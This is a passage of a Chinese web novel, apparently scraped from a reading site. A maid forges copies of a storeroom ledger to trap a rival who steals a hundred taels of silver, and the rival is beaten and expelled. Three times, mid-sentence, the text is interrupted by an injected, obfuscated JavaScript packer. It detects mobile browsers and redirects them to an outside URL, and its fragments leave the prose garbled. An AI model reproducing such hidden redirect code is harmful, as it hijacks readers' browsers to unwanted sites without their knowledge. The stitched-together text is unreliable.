她来房中耍了一通威风倒没什么，怕就怕私下里使什么阴毒的手段，让人防不胜防。 只是这事还没犯，她不好同谢培言明。更何况他还要顾忌着暮香堂，总不能为个莫须有的罪名，就将大夫人给得罪了。 连珠不想将心神耗在这样的人这样的事上，白芍害她几次，她忍过，如今却是不想忍了。 人不犯我我不犯人后头也还是跟着一句话的。 前世太妃就曾说起自己还是妃嫔的时候想要与世无争，可偏偏被人设计陷害。若非意外有人证明，那巫蛊之祸就差点害了她迁居冷宫。 “有人在背后盯着要害你，那是怎么防也防不住的，所以啊，我一洗刷冤屈，就私下着手去查究竟是谁害了我。后来啊，我也设了个套，由她自己去钻。可能是恶事做多了吧，她的运气不如我。”太妃握笔在纸上写了四个字，“止戈为武。” 有时候进攻也是为了让恶人不敢再犯。 “你怎么不说话？”兰儿等了许久没见连珠应声，龇牙咧嘴地扭头看她。 烛火摇曳，兰儿看见连珠一脸平静，唇角微抿，一双眸子静像深潭寒水。 静了一会儿，她见连珠轻轻地开口。 “我想怎么在府里过平静日子。” 兰儿看她方才一脸严肃，还以为要说出什么惊天之语，闹了半天还是拿白芍没办法，没好气地道：“没了那个贱人，咱们清月阁平静着呢！” 22. 真心假意 闹了一通，第二日白芍依旧闭门不出，连珠照常做事，但是兰儿打定主意再也不和白芍多说一句话。 每日拿饭的时候，兰儿也不再拿白芍那份，私下里骂道：“我才不给她拿饭，饿死最好！” 连珠给她递了碗汤，好让她顺顺气。 只是兰儿也不肯理她，心中仍是有气。连半夜梦醒时分，瞧见房里燃了烛火连珠伏案写字，心中好奇，也不开口问一句，反而蒙了被子转头大睡。 第二日，她刚涮洗之后，就被青芝拉住，小声道：“连珠到底怎么回事，怎么还把库房的册子和钥匙还给白芍了？” 原来，白芍摔倒归家之后，谢培就把库房的事交给了连珠。 等白芍回来，谢培也一直没提起让连珠把这活交还回去。 看守库房的活计从来都是交给主子身边最信任下人，白芍被剥了这个活，当然更加不快。 这会儿见连珠竟然主动归还库房的钥匙，白芍心里那点被压制许久的恨意和屈辱被一阵快意搅得翻腾起来，随着她一声“哟”给彻底释放了。 “哟，这是唱得哪一出啊？” 连珠看她状似无意，眼睛却已经盯住了她手里的钥匙，唇边荡起一丝若有若无的笑：“前些日子少爷吩咐我暂管，是体恤白芍姐姐身子未大好。如今我瞧着白芍姐姐既已康健，也不想日后院里为着这些事情闹个鸡犬不宁，这些当然是物归原主比较好。” 白芍凝眸看向连珠，揣度她是真心还是假意。 要知道掌管库房的实际权力可不小，绫罗绸缎、金银器皿这些贵重物品不说，单是针头线脑、火烛香料这些日常用物，也要经手。 册子上记录一罐、一叠...其间可周旋的耗损不是一星半点。 她看着连珠那副低眉顺眼的模样，就知道自己果然没看错她。 怂货一个。 就算有三少爷一时兴起帮着撑腰又如何，畏手畏脚地没半点用，怎么和她斗？ 她伸出手，指尖先碰了碰冰凉的钥匙，然后一把攥住，紧紧握在手心。 拿了钥匙，白芍果见她脸上露出些不舍，这点不舍让她心中更加畅快。 白芍哼了一声：“算你识趣。” 她说着，又将账册拿到手里，翻了连珠记的部分，鸡爪一样的字，有些还只写了半边的偏旁，不过好歹还算条目清晰。 只是想到连珠的这些字该是三少爷教的，她又怒上心头：“少爷当真疼你，便是不认字，也硬是把你教会了，让你管账册。” 连珠叹了口气，像是无力，几次犹豫还是开口：“你何必句句带刺。” “你什么意思！”白芍的火气又被她点起，想要开骂又听连珠继续开了口。 “你我相处这么久，该是明白我的为人。”连珠说得字字恳切，“上次的事，姐姐应当比谁都清楚，少爷罚你，不是偏袒谁，是谢府容不下蓄意害人的心思。姐姐若没有那份害人之心，又怎么会被罚？” “你！”被点到面上，白芍脸色涨红，胸膛剧烈起伏。 连珠打断她：“我敬重姐姐。你是大夫人跟前调理出的一等丫鬟，这清月阁里，原本就是姐姐主事，我不过是从旁协助。姐姐何苦放下身段，事事与我这个只想求个安稳的小丫头过不去？你我相争，让主子心烦，又能得了什么好？” 连珠说得是事实不假，但白芍就是不爱她一幅人淡如菊的模样，她愈是表现得通情达理，就愈是衬得她像个跳梁小丑。 她从牙缝里挤出一声冷笑：“说得比唱得好听！谁知道你心里究竟怎么想的？” 连珠见她冥顽不灵，只是轻轻摇了头：“话已至此，你信也好，不信也好。我只盼着，往后在这院里能各司其职，相安无事。” 说罢，她转身离开。 路是自己走的，就看白芍怎么选吧。 一个下午，白芍都同连珠盘点交接库房的财物，直到傍晚还剩半个柜子时，白芍才打发她去吃饭。 小厨房里，兰儿已经打了饭菜。 以往自己没来，兰儿总是会留好饭菜等她。但这次兰儿捧着碗，一见她反而扭了脸，既不看她也不理她。 “兰儿...” 连珠刚喊了兰儿的名字，便见她直接端碗出门，一个字都不肯往外蹦了。 连珠知道她是怪自己向白芍低头，只是这会儿无法解释，也只能暂时由得她去。 隔日，是谢培要从府学回来，连珠上午便把活给干完了。下午又把前几天做得醪糟舀了一碗出来，放在炉子里，搅了蛋花进去。 谢培跨进屋里，皱着鼻头：“怎么一股烧焦味？” 连珠抬头见是他，放了手里的勺子，起身行礼：“方才见桌角有团废草纸，就丢进炉子烧了。三少爷回来怎么不回房，来这儿做什么？” 谢培没回她的话，转向炉子上冒着热气的砂锅：“煮得什么？” “蛋花醪糟。”连珠说着引了他出去，“就好了，三少爷先去房里把披风脱了，我这就过来。” 谢培才洗了手，就闻到一股醪糟的清香。 连珠端了瓷碗放在桌角：“一路上风大，喝点热的暖暖身子。” 嫩黄的蛋花浮在乳白醪糟上，谢培执起调羹，热气扑在脸上，带着微醺的甜。 他吃了几口，身上果然暖了，看向身边的连珠：“我走这几日院里可还好？” “前儿是闹了一回。白芍姐姐丢了一支赤金梅花簪，说是在咱们院里不见的。” 勺子碰在碗壁上，轻轻一响。 他还以为她会瞒着。 今儿一早，金环从谢府赶回府学，就说起清月阁前儿差点打起来。 “打了？谁被打了？” “爷放心，连珠姐姐没事。”金环捡要紧的先说，“听说是白芍丢了东西，在院里好一通闹。” “怎么不早说？” “这...”金环搔搔脑袋，他这不是刚回去一趟。 虽知道连珠没事，但谢培还是归家心切，他张口问连珠好不好。本以为她那副不肯惹事的性子，又要把事给瞒下来，谁知她竟认了。 “正想着要回少爷。”连珠抬眼看他，目光清正，“既是丢了东西，总该有个说法。上回为了散播流言的事，少爷就说要请人来对质。不如这次也请少爷做主，彻底查一遍，也好还各人清白。” 这话说得坦荡，倒让谢培有些意外。 他放下勺子看她：“你要我查？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143383|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “自然要查。”连珠道，“金簪事小，可这偷盗的名声事大。今日疑这个，明日疑那个，长此以往，怎么做事？倒不如趁着事态未大，请少爷明断。” 她顿了顿，又道：“只是院里四个丫头都是局内人，查起来难免束手束脚，也怕有失偏颇。” 谢培听出她话里有话：“那依你之见？” “我想起在净修斋时，从前跟在老夫人身边的锦绣姑娘就做了抄检的活，她为人最是公道严明，处事也缜密。若是能请她来帮忙，必然公正。” 她一番话说得早有准备，谢培不知她打得什么主意，但既然她已经打定主意，那自己同意便是。 “就依你。”谢培道，“那锦绣现在二门外的宴客厅，你让金环去，就说是我请她来。” 锦绣原是老妇人身边的二等丫鬟，老夫人身故就分去了宴客厅管着四五个小丫头。她沉稳缜密、持正不阿，虽然年岁不算顶大，但自有一股威仪。 虽说老夫人是被谢培的姨娘气得生了病，但谢培好歹是主子，又亲遣贴身小厮来请，她还是走了一遭。 清月阁众人还没用饭，就被谢培召集一起，见金环引着锦绣，后头还跟着三个来帮忙的小丫头进了院门。 她穿着半旧的青缎比甲，发髻梳得一丝不乱，腕上只套着个素银镯子，通身上下干净利落。 谢培等在正房明间，见了锦绣，起身略颔首：“劳动锦绣姑娘走一趟。” 锦绣福身还礼：“三少爷客气，不知是何事需奴婢效劳？” 谢培示意连珠将事情说了。 话音未落，站在一旁的白芍脸色已然白了三分。 她没料到事情如此突然，竟是要来搜房。她慌忙挤出个笑，上前半步：“原是奴婢糊涂，那钗子昨儿晚上就在我妆台抽屉的角落寻着了。想是前些日子忙乱，混在杂物里没瞧见。为这点小事劳动锦绣姑娘，实在是...” “找到了？” 谢培目光淡淡扫过她强作镇定的脸，那躲闪的眼神，分明与上次被揭穿散播谣言的情状一模一样。 他心中冷笑，面上却不显。只端起茶盏，轻轻撇着浮沫。 锦绣将一切看在眼里，她二十多的年纪却是府里的老人，从前跟在老夫人身边什么没见过。便是在宴客厅里常操持人事，也早练出了一副玲珑心肝。 其实今日这事她本不该插手，白芍是大夫人跟前得力嬷嬷的女儿，没事还好，要真查出什么怕是自己要吃了挂落。可她又是眼里揉不得沙子的人，见此内有乾坤，更不肯轻易放过了。 “既如此，还请白芍将金钗取出，让奴婢一观，也不算白来这一趟。” 白芍喉头一哽，方才不过是自己的托词，哪里找到了金钗。 她硬着头皮：“钗子寻回来后，就...就收起来了，一时倒不好翻找。” “无妨，姑娘慢找，我可以等。” 锦绣如此说话，白芍哪里还能拒绝，她往屋里走去，却是双腿一软，险些栽倒。 “看样子白芍姑娘是无力寻找了，这样，莲子、苏子你们去查那个房，苓子你跟我来查这个房。” 她一指白芍和青芝的屋子，叫跌坐在地上的白芍面色青白一片。 23. 人赃并获 以往三少爷归府这一日，兰儿只管拿了饭菜，房中自有连珠侍候。 可今日突然被一齐叫到正房，她心里打着鼓，打量着又出了什么事情。叫她料的不错，三少爷竟是寻了人来抄检她们的屋子。 兰儿看着那几人严肃面容，心里一慌，脑子里飞快地把自己那点家当过了个遍。 柜子里藏着半包没吃完的松子糖，针线筐最底层压着两个攒下来的新荷包... 想了半天，兰儿觉得应是没什么东西犯了忌讳，终于放下心来。 只是她才松一口气，就听“砰”地一下白芍跌坐在地，脸色惨白如纸不说，面上还一派慌乱。 奇怪，明明是她丢了东西，方才又说找到了，怎么...怎么怕得最厉害的也是她？ 胡思乱想间，锦绣带着人已经进了屋子。 开箱笼，翻被褥，查妆台... 锦绣立在屋中，目光掠过各处。 这两人住的屋子打理得不算整洁，但一应陈设也颇齐全。 妆台上摆着的匣子半开着，露出里头几件鎏金嵌宝的首饰。箱笼里，绸缎的衣裳叠得方正，最上头是件水红色的袄子，用的是上好杭绸。 这些东西寻常丫鬟可用不起，可想到她是大夫人跟前得力嬷嬷的女儿，这些年又颇有些体面，倒也不算出奇。 只是妆匣里头簪环钗佩一目了然，鎏金的、纯银的皆有，却唯独不见那支丢失的赤金梅花簪。 明明没找到金钗，方才却一口咬定寻着了。 欲盖弥彰，怕是心里藏着的，远不止一支金钗的事。 苓子冲着锦绣摇头：“锦绣姐姐，没找到。” “再查一遍。” 锦绣走到床边，伸手按了按褥子，又拆开枕芯。俄而，目光移向床尾那只半旧樟木箱子，方才已粗粗翻过，里头是些换季的被褥。 锦绣亲自上前，将叠好的被褥一床床取出放在一旁。拿到最底下那床厚棉被时，手上猛地一沉，轻易拿不起来。 这分量不对。 棉被卷得紧实，用布带捆着。锦绣解开布带，将棉被展开，果见里头露出一个木盒子。 院里，连珠和兰儿的屋子早已抄检完毕，不过是些寻常衣物针线，并无可疑。 只等着锦绣她们从白芍和青芝的屋子出来，看看可有什么不妥。 半柱香后，门终于开了。 锦绣捧着那只盒子走了出来，白芍只看一眼整个人就剧烈地抖了起来，才扶着柱子站起没多久的身子一歪，彻底晕了过去。 锦绣也不管白芍倒在自己脚边，掀了盒盖，露出白花花的银子。 “回三少爷，在白芍箱子里寻得一盒，盒中有纹银一百两，请三少爷示下。” 一...一百两！ 这话一出，叫人心头一跳。 兰儿和青芝两人目中更是露出震惊之色，一百两银子，她们得不吃不喝攒到什么时候去！ 谢培目光沉冷地扫过那盒码放得整整齐齐的银子，又落回瘫软在地、面无人色的白芍脸上，示意架着她的丫鬟：“弄醒她。” 一瓢冷水兜头泼下，白芍一个激灵，呛咳着悠悠转醒，眼神涣散了好一会儿，才聚到谢培的脸上。 “这银子哪来的？” “是奴婢...是奴婢自己的。” “自己的？”谢培忽然轻笑一声，那笑意却不及眼底，“你月例几何？这一百两，你得攒上多少年？” “我...我娘...” “你娘在大夫人跟前伺候，一个月例银二两，要管你们一家老小吃穿用度，还要打点人情往来，能贴补你多少。就算你娘要给你银钱，你又藏在箱底做什么？” 他每问一句，便向前半步，迫得白芍半句话都说不出来。 “我不是三岁孩童，由不得你糊弄！” 白芍被问得哑口无言，脸上最后一点血色也褪尽了。 “既然你不愿说实话...私藏来路不明之巨款，拒不交代来源。那就请锦绣帮我将她拖到二门外，叫婆子来打二十板子。若还不说，就打到她说为止。” 白芍闻言头晕目眩，已是又晕了过去。 清月阁的白芍姑娘被拉到二门外打板子的事眨眼就传了出去，王庆和正用着晚饭，听小丫头来报，筷子掉在地上，满嘴喷饭道：“你浑说什么！哪个挨千刀的乱嚼舌根？” “不...不是我胡说，嬷嬷快去瞧瞧吧，白芍姐姐在二门外已经被打了十板子了！” 王庆和眼前一黑，踉跄了一步扶住桌沿，顾不上什么体统规矩，一脚踹开屋门，提着裙摆疯了一样冲出屋子。 二门外已经围了不少探头探脑的下人，见她来了，都慌忙让开一条道。 王庆和一眼就看见趴在那条窄凳上的女儿。 白芍头发散乱，涕泪横飞，两个粗使婆子正高举着四指宽板子，眼看又要落下。 “住手！”王庆和发出一声尖叫，猛地扑上去。板子收势不及，一记擦过她的肩头，火辣辣地疼。 “娘！” 那打板子的婆子顾着王庆和，先前的十几板其实都收着劲，故而白芍虽挨了十几板，但人还清醒着。 王庆和瞧她可怜，胸中那股怒火轰地烧穿了理智，张口就冲着站在廊下的谢培要说法：“三少爷，老奴斗胆问一句，白芍到底犯了什么十恶不赦的大罪，要受这等大刑？她纵有千般不是，好歹也在您院里伺候了这些年，没有功劳也有苦劳啊！您便是要打要罚，也该先问过大夫人才是！” 她贯来看不起谢培，又仗着是袁英华跟前得脸的嬷嬷，说起话来毫不客气，摆明是为自己女儿争一口气。 站在谢培身边的锦绣听她这般没有尊卑，忍不住皱了眉头。 暮香堂的人从来狗仗人势，在谢培跟前不知耍过多少次威风。从前他卧薪尝胆，现下却不必对着这等老奴一味隐忍了。 他让金环捧来那装了银子的盒子，白花花的银子叫人看得眼热，落在王庆和的眼里却是冷硬刺眼。 不能吧，自己的女儿真就这般糊涂？前段时间自己才敲打过她，怎么可能还犯下这等大错。 他目光冷冽，扫过王庆和，浑不似印象中那个不言不语的小冻猫子。 “从白芍房中搜出来路不明的一百两银子，她不肯招认，我也只能如此。” “不...” 王庆和反驳的话还没出口，就被谢培打断。 “庆和嬷嬷是府里的老人，这样的事想必也见了不止一回。今日打她这二十板子，不是私刑，是依规矩小惩大诫。” 谢培气定神闲：“你说‘该先问过大夫人才是’。嬷嬷是大夫人跟前得力的，自然更该清楚，内宅之事虽有大夫人统管，但各房院落亦有自主之权，尤其事关本院仆役过失。莫非在嬷嬷看来，我清月阁里大小事宜，事无巨细，都需劳烦母亲过问决断？那母亲终日操劳，我等身为人子，岂非不孝？” “这...” “再者，白芍所犯之事，人赃俱获，我今日请了锦绣姑娘见证，也给了她认错的机会，她却不肯招认。如此刁奴，依着祖上当年定下的家法，怕是打死都不为过。” 谢培顿了顿，目光扫过四周噤若寒蝉的仆役，对着王庆和唇角勾起一丝浅笑：“嬷嬷，你说是不是？” 鬼...鬼... 王庆和被那抹诡笑吓得浑身倏尔一冷，一股寒气从脚底板直窜上天灵盖。她莫名想到柳迎霜被白绫裹住脖子，直愣愣地看向她的那一眼。 也是这般... 也是这般... “三少爷，那银子真是我的，不信你去查册子，我万不敢拿库房里的东西啊！”白芍忍着疼在后头哭喊起来，“娘，你救我！你救我！” 王庆和一时恍若未闻，只觉耳鸣嗡嗡，眼前发黑。 谢培听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146159|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白芍的狡辩，似是无可奈何地摇摇头：“冥顽不灵！” 他转向锦绣，让连珠将翻至某页的库房账册递给她；‘还请锦绣姑娘念给庆和嬷嬷听。’ “十二月十五日，石陈县陈村庄子年银二百两。可刚刚翻查过库房，庄子送来的银子只剩了一百两，少了一百。” 二百？ 原本耷拉脑袋嘶嘶抽气的白芍听见银子的数目，整个人像被针扎了般猛地一颤，抬头双眼露出不敢置信的惊骇。 怎么会是二百？ 她脑中像是有什么东西炸开，叫她半天才反应过来。 那账册上分明写的是一百两！ 当时自己盘库的时候，刚开始看这个装银的匣子也以为账上记得不错，就是一百两。结果这装银钱的匣子有个隔挡，分了上下两份，下面还有一百两。 白芍记得当时自己连看了几遍，确认没看错，心里还暗笑连珠这蠢货连数目都记岔了。 她甚至记得自己当时的心跳有多快。 一百两，不是小数目，账册上记错了，库房里实际少了也不会被发现。 那银锭子在她眼里，仿佛自己生了翅膀，扑棱棱就要飞进她怀里。她寻了个由头支开连珠，将那匣银子藏到自己房里，想着过几日找机会夹带回家。 怎么就这么倒霉被查到？ 怎么会是二百两？ “不！不对！”白芍嘶哑着嗓子喊，“是一百两！账册上记得是一百两！” 谢培早厌了白芍，看她这番模样更是嫌恶不已：“还请锦绣姑娘拿给庆和嬷嬷看看，究竟是一百两还是二百两。” 锦绣依言，捧着账册走到王庆和面前。她并未直接将账册递过去，而是稳稳托着，指尖点在那一行记录上。 王庆和识字不多，但数目字是认得的。“十二月十五日...二百两整”，每个字都清清楚楚，绝无涂改。 “是二...二百两...”王庆和喃喃念出。 不管是谢培设计陷害，还是自家女儿心生歹念，被人赃俱获拿住，已是没有翻身的机会了。 她面如死灰。 “不！娘！不是的！”白芍见她娘这般神色，心知不妙，挣扎着想要扑过来，却被婆子死死按住。她急得目眦欲裂，“那账册，那账册定是被改了！” 她忽而反应过来，连珠何以要主动交还库房的钥匙，原来是早就设好了圈套。她以为连珠是个蠢的，没想到真正傻的人是她！ 她看向站在谢培身后的连珠，怨毒的眼神几乎想要杀人。 “连珠...是连珠！她当时记的就是一百两，她一定后来改了账册来害我！” “够了！”谢培厉声喝道，“证据确凿，你还敢攀诬他人！白芍监守自盗，人赃并获，事后不思悔改，本该依家法严惩，以儆效尤！念在你侍候几年，又是从母亲院里出来的，我若擅自重罚，倒显得不敬长辈。” 谢培又朝锦绣微一行礼：“还请锦绣姑娘差人将这刁奴带去暮香堂，请母亲发落。” 锦绣还了一礼，她素日最终规矩大统，恨极不忠不义之辈。这件事又是自己查处的，送佛送到西，自然将这件事担了下来。 两个婆子架起白芍，就要往暮香堂去。谁知那半死不活的白芍忽然发了狂，起了性，猛地挣脱了婆子们的手，像头濒死的兽，不管不顾地朝着连珠扑了过去！ “贱人！都是你害我！我跟你拼了！” 她十指箕张，面目狰狞扭曲，瞧着真要杀人一般。 兰儿站在连珠身侧，又怕又慌，也忘了要生连珠的气，一把抓住她的袖子随时准备躲开。 只是两人之间距离颇远，还没到半途就被金环一脚踢到腿弯处，整个人重重摔倒在地，抱着右腿蜷缩起来，疼得浑身痉挛，再也动弹不得。 众人注意力都在白芍身上，忽听得一声冷斥如惊雷炸响。 “放肆！都在胡闹什么！” 24. 俗人 二门外本就人来人往，白芍吱哇乱叫引了不少下人来偷看热闹。谢渊一回府就撞见这番热闹，又看个披头散发的丫鬟张牙舞爪地就朝谢培冲去，脱口就骂：“放肆！都在胡闹什么！” 谢渊朝谢培走去，半途却被方才摔倒的白芍堵住去路，他抬脚要跨过去，却被白芍一把抱住靴子：“老爷，老爷，奴婢冤枉...那账册上写得真是一百两...是连珠...贱人害我...” 她颠三倒四说了一堆，让谢渊不耐，抬脚一踹，像是踹开一摊烂泥。 这一脚正中白芍心窝，踢得她直接呕出一口血来，已是再也没有力气去闹了。王庆和瞧着喉头呜咽一声，但也绝不敢在这时候去触谢渊的眉头，只慢慢挪到白芍身边，将人揽在怀里，一个劲地流泪。 谢渊最不喜内宅琐事闹到自己跟前，若是以往他定要连着谢培一并处置，但现下不同，谢培考中秀才，又在府学之中名列前茅，他是疼都来不及。 故而被白芍惹出火来，待转向谢培已是和颜悦色：“培儿，这是怎么一回事？” 谢培将白芍如何诬赖院里丫鬟偷盗，如何藏匿库房银子，又是如何无端生事一一禀明，听得谢渊绷紧面皮，两眼冒火：“岂有此理！我府里竟还有这样脏心烂肺、偷鸡摸狗的下人！给我把她拖出去，不许她再进谢府的门！” 话毕，就听得王庆和一声“天爷”的哭嚎，墩肥的身子往后倒进泥地里，已经是出气多进气少。 几个婆子抬了母女两个出去，谢渊看也不看，只记着谢培院里仅有四个丫鬟，如今又赶出去一个，眼里的怒色渐渐淡下去，又思及袁氏一碗水端不平，闹得他来扫尾，已是怨上这等不晓事的妇人，不悦道：“也是我忽视了，你大哥成婚之前屋里六个丫鬟不算，还有一个管事嬷嬷，两个洒扫婆子。你身边人是太少了，也没个得力的照应，才让这些下作东西欺到头上来。” 他想了想：“方才你说今日是哪个帮的忙？” “回父亲的话，是从前祖母跟前的锦绣。”谢培规矩答道。 锦绣也赶紧上前一步，屈膝行礼。 谢渊看了面色沉稳的锦绣一眼，是觉得有些眼熟，抚须点头：“不愧是老太太调教出来的人，如今在哪里当差？” 谢渊听她说是在宴客厅管事，直接大手一挥指了她去清月阁，又道：“回头让你母亲再挑两个好的，你是谢家的子孙，没得在这些小事上委屈了你。” 谢培待要拒绝，却见谢渊摆摆手不耐这些琐事：“行了，刚回来就处置这样一通烦心事，赶紧回去吧。” 看热闹的散了，谢培身后跟着锦绣、连珠一干人往清月阁去。 这事处理得雷厉风行，谢培没有想到剪除白芍如此容易。他偏头垂目去看身后连珠裙摆下断续露出的鞋尖。 如此顺畅，如此容易，他本就多疑，更觉奇怪。 他思及连珠今日的反常，愈发觉得像是一个连环套。 可她是如何做到的？ 白芍轻浮，但也绝不是个彻头彻尾的蠢货，真就堂而皇之地从库房里偷了银子，连账册上的记录也不抹去？ 谢培想起白芍反复强辩的一百两，她为何在证据确凿时执拗地咬着这个数字不放？ 难道... 可是那账册他也翻看过，确实没有涂改的痕迹，如果连珠作假，她又是用了什么手段？ 叶子打着旋儿落在脚边，谢培跨过清月阁的门槛，对着锦绣道：“锦绣，你既进了清月阁就接了白芍的活计，今夜大家也都乏了，你回宴客厅住也可，收拾东西来这儿也可，自己做主吧。” 他说到这里，侧过半张脸对着连珠：“你跟我来。” 兰儿瞧着连珠跟在三少爷身后，心底莫名一沉，刚刚路上她把这几日的事来回想了两遍，总觉得不好。 她想起连珠那晚说的话。 “我想怎么过平静日子。” 总不能这件事是连珠耍的手段，还被三少爷发现了吧！ 想到这里，兰儿好似头顶炸响一颗焦雷，怔在原地，已是替连珠担忧起来。 谢培唤了连珠进屋，桌上重新摆了热好的饭菜，谢培吃了几口，仍惦记方才心中的疑虑。 “你...” “三少...” 两人同时开口，视线相触皆是抿嘴笑了，气氛轻松不少。 “你要说什么？”谢培停了筷箸。 “我说...”连珠一指他的袖口，“三少爷在府学该是用功读书的，连袖口沾了墨都不知。” 谢培不知她要说的是这个，翻了袖口低头去看，果然是染了墨渍。 想来是听金环说起院里的事，一时心急，才没发现。 他复又抬头，就见连珠拿了件新褂子过来：“先换上，回头我替你洗了。” “是不是难洗得很？” “也不难，倒些白醋揉搓，再用胰子...”连珠说了一半觉得谢培该是不耐烦听这些，又住了口。 “是了，你说过的。”谢培目光悠悠，已是想起从前的事。 念及连珠这一年多替他做得一桩桩一件件，尽是满腹真心替他考虑，突然对白芍偷盗一事的背后真相就没那么执着了。 那银子反正不是平白飞到白芍屋里，她既然心存歹念，那打发出府就不算冤枉她。 谢培深深看了连珠几眼，又放柔声音道：“冬日水凉，你让她们去洗。回头我让金环去给你买些护手的乳膏，听说回春堂的就很好。” “不用，我有呢。”连珠不肯叫他区别对待，又生出之前白芍那样的事端来，赶紧拒绝。 谢培却不听她的：“你有归你有。” 他说完又看连珠，只是几日不见，好像瘦了一点，下巴尖了，腰也细... 少年人新鼓起的喉结微微涌动，他忽而想起大年三十的荒唐梦，耳根骤然发烫。 他脑子里一团溶溶春水杨花梦，别开眼去不敢再看，又故作掩饰地咳嗽两声，挥手让连珠下去：“你也下去用饭吧，这儿不用伺候了。” 连珠放了帘子去烧热水，准备趁夜将衣裳洗了。她早知道今晚要闹一出，提前吃了两个烧饼，现下还不饿。 小厨房炉子里还有些余火，连珠又添了两块煤饼，把铜壶里的水加满。 不多时壶嘴里冒出声，连珠起身提壶，就听房门开了。兰儿端着个碗，一低头正和连珠对上，想到自己这两日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151055|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她爱答不理，面上透出些尴尬。 她是心里藏不住事的人，心里有个疑，就抓耳挠腮地难受。好奇的心思占了上风，她也就厚着脸皮走到连珠身边。 “你晚饭没吃，这个给你。”一碗笋泼肉面还冒着热气。 连珠看她别别扭扭的梗着脖子，噗嗤一笑，拉了她的手坐下：“气消了？” 兰儿好哄得很，单连珠牵她这一下，她便什么火都没了，只嘟着嘴笑道：“你还说呢！我要真气你，还巴巴地来送什么饭！” “好。”连珠也不纠缠，点了她的脑门道，“是我小人之心度君子之腹，成不成？” “成！”兰儿咧嘴一笑，把面往她前面推了推，抱臂看着她吃。她性子急，等不及连珠吃两口，就闪着亮晶晶的眸子问，“白芍真偷拿了库房的银子？” “刚刚三少爷审她的时候，你不是也在？” 兰儿对她避而不答的态度有些不满，蹭到连珠的身边：“你不准跟我绕圈子，你那天说想过安生日子，第二日就拿了账册给白芍。三少爷才回来，你就提出要抄检屋子，刚好便拿住了白芍的错处。是不是...” 她打破砂锅想要问到底，又怕连珠不信她，举了三根手指发誓：“好人，你就告诉我吧，我保证不跟人说！” “我那天是说了这话，可白芍犯浑私藏银子的事，我哪能未卜先知？”连珠自不能将实话袒露人前，只好说，“一来，是白芍手脚不干净，她做了亏心事，即便今日不被发现，往后也总有暴露的一日。” “那二来呢？” “二来，当然是你心诚则灵，所求如愿了。” 兰儿不成想她又是在逗自己，伸手就要去捞碗：“好啊，你个促狭鬼，我白心疼你了！” 连珠被她闹得讨饶，又趁机岔开话头：“青芝呢？” “在屋里收拾东西呢，不是老太太跟前那位锦绣姐姐要住进来，她殷勤备着。”兰儿又偷摸凑到连珠耳边，“其实是被吓怕了，觉得她比白芍还要厉害！” 兰儿又说了几句“还好是非精走了”之类的话，可想到白芍被抬出去的那份惨状，也是心有戚戚，也没精神骂她了。 连珠挑了面吃，想的却是自己这回行的这步棋。 谢培疑，兰儿猜，就连当事者白芍也至死不明。其实，她不过是用了个笨办法，从头将账册抄了了一遍。前头仿着白芍的笔迹，后头仿着自己故意写得歪歪扭扭的笔迹，哪里会有什么涂改呢？ 给白芍的账册是新抄的，偷偷从白芍房里换出来的也是新抄的，放在醪糟蛋花下炉子里烧成灰烬的也是新抄的。 落在主子们手里的还是原原本本的那一份。 谢培想不到，不过是因着他不知她会模仿笔迹，那鸡爪一般的丑字是她仿着写的，那白芍的字也是她仿了写的。 若白芍没偷钱，今日就是真的去寻那支赤金梅花簪，无论寻没寻到，白芍都不过是无端生事的小错。 连珠闭了闭眼，她其实早知道。 和白芍盘库的那日，自己被她支出去，就知道她一定会被赶出府。 她自觉不是什么大恶之人，却也并非什么善人，不过是个只为自己的俗人罢了。 25. 要紧的是怀个孩子 “废物！” 二门外的事早有丫鬟传到了袁英华的耳朵里，她一下从美人榻上坐起，手捏着帕子重重往矮几上锤了一下。 “眼皮子浅的东西，一百两就迷得她不知东西南北了！事还做得这般蠢，叫老爷也看见了？” 袁英华眸如寒霜，春蝉顾及着她的脸色，小心翼翼道：“是，说是老爷回府正好撞上了，直接赶了白芍出府...” “真个无用的杀才！白白让那孽障长了威风，丢尽了我的脸面！”袁英华说到激动处连咳了几声。后宅里手脚不干净的丫头多的是，比起白芍偷盗，她更气她行事蠢笨。 喜和掀帘进来，朝春蝉使了个眼色，自己走到袁英华身边：“夫人风寒未愈，仔细身子。那白芍从咱们院里出去已经两年，两年光景天变地动，焉知不是清月阁里上梁不正下梁歪，老爷决计不会怪到您的头上。” 她说着递药过去，见袁英华不接，又收手回来让春蝉接着。 “他现在满心满眼都挂着那孽障，哪里还顾得上我和坤儿了。”袁英华说着，出了一会儿神。 很快，她又望着食指上金质点翠嵌碧玉戒指，强打起精神：“庆和呢？” 